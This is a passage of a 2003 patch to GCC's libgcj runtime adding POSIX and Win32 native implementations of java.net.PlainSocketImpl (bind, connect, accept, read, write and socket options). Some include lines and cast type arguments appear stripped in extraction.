sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + // Enable SO_REUSEADDR, so that servers can reuse ports left in TIME_WAIT. + ::setsockopt(fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &i, sizeof(i)); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + address = host; + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localport = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *addr, + jint timeout) +{ + java::net::InetSocketAddress *tmp = (java::net::InetSocketAddress*) addr; + java::net::InetAddress *host = tmp->getAddress(); + jint rport = tmp->getPort(); + + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (timeout > 0) + { + int flags = ::fcntl (fnum, F_GETFL); + ::fcntl (fnum, F_SETFL, flags | O_NONBLOCK); + + if ((_Jv_connect (fnum, ptr, len) != 0) && (errno != EINPROGRESS)) + goto error; + + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::net::SocketTimeoutException + (JvNewStringUTF ("Connect timed out")); + } + else + { + if (_Jv_connect (fnum, ptr, len) != 0) + goto error; + } + + address = host; + port = rport; + + // A bind may not have been done on this socket; if so, set localport now. + if (localport == 0) + { + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + } + + return; + + error: + char* strerr = strerror (errno); + throw new java::net::ConnectException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::listen (jint backlog) +{ + if (::listen (fnum, backlog) != 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *s) +{ + union SockAddr u; + socklen_t addrlen = sizeof(u); + int new_socket = 0; + + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException ( + JvNewStringUTF("Accept timed out")); + } + + new_socket = _Jv_accept (fnum, (sockaddr*) &u, &addrlen); + + if (new_socket < 0) + goto error; + + _Jv_platform_close_on_exec (new_socket); + + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + s->fnum = new_socket; + s->localport = localport; + s->address = new InetAddress (raddr, NULL); + s->port = rport; + return; + + error: + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainSocketImpl::close() +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // should we use shutdown here? how would that effect so_linger? + int res = _Jv_close (fnum); + + if (res == -1) + { + // These three errors are not errors according to tests performed + // on the reference implementation. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + // Safe place to reset the file pointer. + fnum = -1; + timeout = 0; +} + +// Write a byte to the socket. +void +java::net::PlainSocketImpl::write(jint b) +{ + jbyte d =(jbyte) b; + int r = 0; + + while (r != 1) + { + r = _Jv_write (fnum, &d, 1); + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = 0; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + } +} + +// Write some bytes to the socket. +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + if (! b) + throw new java::lang::NullPointerException; + if (offset < 0 || len < 0 || offset + len > JvGetArrayLength (b)) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (b) + offset; + int written = 0; + + while (len > 0) + { + int r = _Jv_write (fnum, bytes, len); + + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = written; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + + written += r; + len -= r; + bytes += r; + } +} + +void +java::net::PlainSocketImpl::sendUrgentData (jint) +{ + throw new SocketException (JvNewStringLatin1 ( + "PlainSocketImpl: sending of urgent data not supported by this socket")); +} + +// Read a single byte from the socket. +jint +java::net::PlainSocketImpl::read(void) +{ + jbyte b; + + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum,&read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec = (timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); + // If select returns 0 we've waited without getting data... + // that means we've timed out. + if (sel_retval == 0) + throw new java::io::InterruptedIOException + (JvNewStringUTF ("read timed out") ); + // If select returns ok we know we either got signalled or read some data... + // either way we need to try to read. + } + + int r = _Jv_read (fnum, &b, 1); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return b & 0xFF; +} + +// Read count bytes into the buffer, starting at offset. +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + if (! buffer) + throw new java::lang::NullPointerException; + + jsize bsize = JvGetArrayLength (buffer); + + if (offset < 0 || count < 0 || offset + count > bsize) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (buffer) + offset; + + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum, &read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec =(timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); + // We're only interested in the 0 return. + // error returns still require us to try to read + // the socket to see what happened. + if (sel_retval == 0) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = 0; + throw iioe; + } + } + + // Read the socket. + int r = ::recv (fnum, (char *) bytes, count, 0); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return r; +} + +// How many bytes are available? +jint +java::net::PlainSocketImpl::available(void) +{ +#if defined(FIONREAD) || defined(HAVE_SELECT) + long num = 0; + int r = 0; + bool num_set = false; + +#if defined(FIONREAD) + r = ::ioctl (fnum, FIONREAD, &num); + + if (r == -1 && errno == ENOTTY) + { + // If the ioctl doesn't work, we don't care. + r = 0; + num = 0; + } + else + num_set = true; +#elif defined(HAVE_SELECT) + if (fnum < 0) + { + errno = EBADF; + r = -1; + } +#endif + + if (r == -1) + { + posix_error: + throw new java::io::IOException(JvNewStringUTF(strerror(errno))); + } + + // If we didn't get anything we can use select. + +#if defined(HAVE_SELECT) + if (! num_set) + if (! num_set && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rd; + FD_ZERO (&rd); + FD_SET (fnum, &rd); + struct timeval tv; + tv.tv_sec = 0; + tv.tv_usec = 0; + r = _Jv_select (fnum + 1, &rd, NULL, NULL, &tv); + if(r == -1) + goto posix_error; + num = r == 0 ? 0 : 1; + } +#endif /* HAVE_SELECT */ + + return (jint) num; +#else + throw new java::io::IOException (JvNewStringUTF ("unimplemented")); +#endif +} + +void +java::net::PlainSocketImpl::setOption (jint optID, java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + if (boolobj->booleanValue()) + val = 1; + else + { + if (optID == _Jv_SO_LINGER_) + val = -1; + else + val = 0; + } + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + else + { + throw new java::lang::IllegalArgumentException ( + JvNewStringLatin1 ("`value' must be Boolean or Integer")); + } + + switch (optID) + { + case _Jv_TCP_NODELAY_ : +#ifdef TCP_NODELAY + if (::setsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif /* TCP_NODELAY */ + return; + + case _Jv_SO_KEEPALIVE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_BROADCAST_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_BROADCAST not valid for TCP")); + break; + + case _Jv_SO_OOBINLINE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + struct linger l_val; + l_val.l_onoff = (val != -1); + l_val.l_linger = val; + + if (::setsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + sizeof(l_val)) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_LINGER not supported")); +#endif /* SO_LINGER */ + return; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + struct linger l_val; + socklen_t l_val_len = sizeof(l_val); + + switch (optID) + { +#ifdef TCP_NODELAY + case _Jv_TCP_NODELAY_ : + if (::getsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + if (::getsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + &l_val_len) != 0) + goto error; + + if (l_val.l_onoff) + return new java::lang::Integer (l_val.l_linger); + else + return new java::lang::Boolean ((jboolean)false); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_LINGER not supported")); +#endif + break; + + case _Jv_SO_KEEPALIVE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_OOBINLINE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException + (JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + + return localAddress; + break; + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Integer (val); + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + break; + + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + if (::shutdown (fnum, 0)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + if (::shutdown (fnum, 1)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} + +#endif /* DISABLE_JAVA_NET */ Index: java/net/natPlainSocketImplWin32.cc =================================================================== RCS file: java/net/natPlainSocketImplWin32.cc diff -N java/net/natPlainSocketImplWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainSocketImplWin32.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,1019 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifndef DISABLE_JAVA_NET + +#ifdef WIN32 + +#include +#include +#include +#include +#undef STRICT +#undef MAX_PRIORITY +#undef MIN_PRIORITY +#undef FIONREAD + +// These functions make the Win32 socket API look more POSIXy +static inline int +write(int s, void *buf, int len) +{ + return send(s, (char*)buf, len, 0); +} + +static inline int +read(int s, void *buf, int len) +{ + return recv(s, (char*)buf, len, 0); +} + +// these errors cannot occur on Win32 +#else /* WIN32 */ + +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif + +// Pick up FIONREAD on Solaris 2.5. +#ifdef HAVE_SYS_FILIO_H +#include +#endif + +#include +#include +#include +#include + +#endif /* WIN32 */ +#endif /* DISABLE_JAVA_NET */ + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +void +java::net::PlainSocketImpl::create (jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.create: unimplemented")); +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *, jint) +{ + throw new BindException ( + JvNewStringLatin1 ("SocketImpl.bind: unimplemented")); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *, jint) +{ + throw new ConnectException ( + JvNewStringLatin1 ("SocketImpl.connect: unimplemented")); +} + +void +java::net::PlainSocketImpl::listen (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.listen: unimplemented")); +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.accept: unimplemented")); +} + +void +java::net::PlainSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.getOption: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jint b) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::sendUrgentData(jint data) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.sendUrgentData: unimplemented")); +} + +jint +java::net::PlainSocketImpl::available(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.available: unimplemented")); +} + +void +java::net::PlainSocketImpl::close(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.close: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownInput: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownOutput: unimplemented")); +} + +#else /* DISABLE_JAVA_NET */ + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +void +java::net::PlainSocketImpl::create (jboolean stream) +{ + int sock = _Jv_socket (AF_INET, stream ? SOCK_STREAM : SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *host, jint lport) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int i = 1; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + // Enable SO_REUSEADDR, so that servers can reuse ports left in TIME_WAIT. + ::setsockopt(fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &i, sizeof(i)); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + address = host; + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localport = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *addr, + jint timeout) +{ + java::net::InetSocketAddress *tmp = (java::net::InetSocketAddress*) addr; + java::net::InetAddress *host = tmp->getAddress(); + jint rport = tmp->getPort(); + + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + if (timeout > 0) + { + int flags = ::fcntl (fnum, F_GETFL); + ::fcntl (fnum, F_SETFL, flags | O_NONBLOCK); + + if ((_Jv_connect (fnum, ptr, len) != 0) && (errno != EINPROGRESS)) + goto error; + + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::net::SocketTimeoutException + (JvNewStringUTF ("Connect timed out")); + } + else +#endif + { + if (_Jv_connect (fnum, ptr, len) != 0) + goto error; + } + + address = host; + port = rport; + + // A bind may not have been done on this socket; if so, set localport now. + if (localport == 0) + { + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localport = ntohs (u.address.sin_port); + else + goto error; + } + + return; + + error: + char* strerr = strerror (errno); + throw new java::net::ConnectException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::listen (jint backlog) +{ + if (::listen (fnum, backlog) != 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *s) +{ + union SockAddr u; + socklen_t addrlen = sizeof(u); + int new_socket = 0; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException ( + JvNewStringUTF("Accept timed out")); + } +#endif /* WIN32 */ + + new_socket = _Jv_accept (fnum, (sockaddr*) &u, &addrlen); + + if (new_socket < 0) + goto error; + + _Jv_platform_close_on_exec (new_socket); + + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + s->fnum = new_socket; + s->localport = localport; + s->address = new InetAddress (raddr, NULL); + s->port = rport; + return; + + error: + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainSocketImpl::close() +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // should we use shutdown here? how would that effect so_linger? + int res = _Jv_close (fnum); + + if (res == -1) + { + // These three errors are not errors according to tests performed + // on the reference implementation. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + // Safe place to reset the file pointer. + fnum = -1; + timeout = 0; +} + +// Write a byte to the socket. +void +java::net::PlainSocketImpl::write(jint b) +{ + jbyte d =(jbyte) b; + int r = 0; + + while (r != 1) + { + r = _Jv_write (fnum, &d, 1); + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = 0; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + } +} + +// Write some bytes to the socket. +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + if (! b) + throw new java::lang::NullPointerException; + if (offset < 0 || len < 0 || offset + len > JvGetArrayLength (b)) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (b) + offset; + int written = 0; + + while (len > 0) + { + int r = _Jv_write (fnum, bytes, len); + + if (r == -1) + { + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe + = new java::io::InterruptedIOException + (JvNewStringLatin1 (strerror (errno))); + iioe->bytesTransferred = written; + throw iioe; + } + // Some errors should not cause exceptions. + if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + break; + } + + written += r; + len -= r; + bytes += r; + } +} + +void +java::net::PlainSocketImpl::sendUrgentData (jint) +{ + throw new SocketException (JvNewStringLatin1 ( + "PlainSocketImpl: sending of urgent data not supported by this socket")); +} + +// Read a single byte from the socket. +jint +java::net::PlainSocketImpl::read(void) +{ + jbyte b; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum,&read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec = (timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum 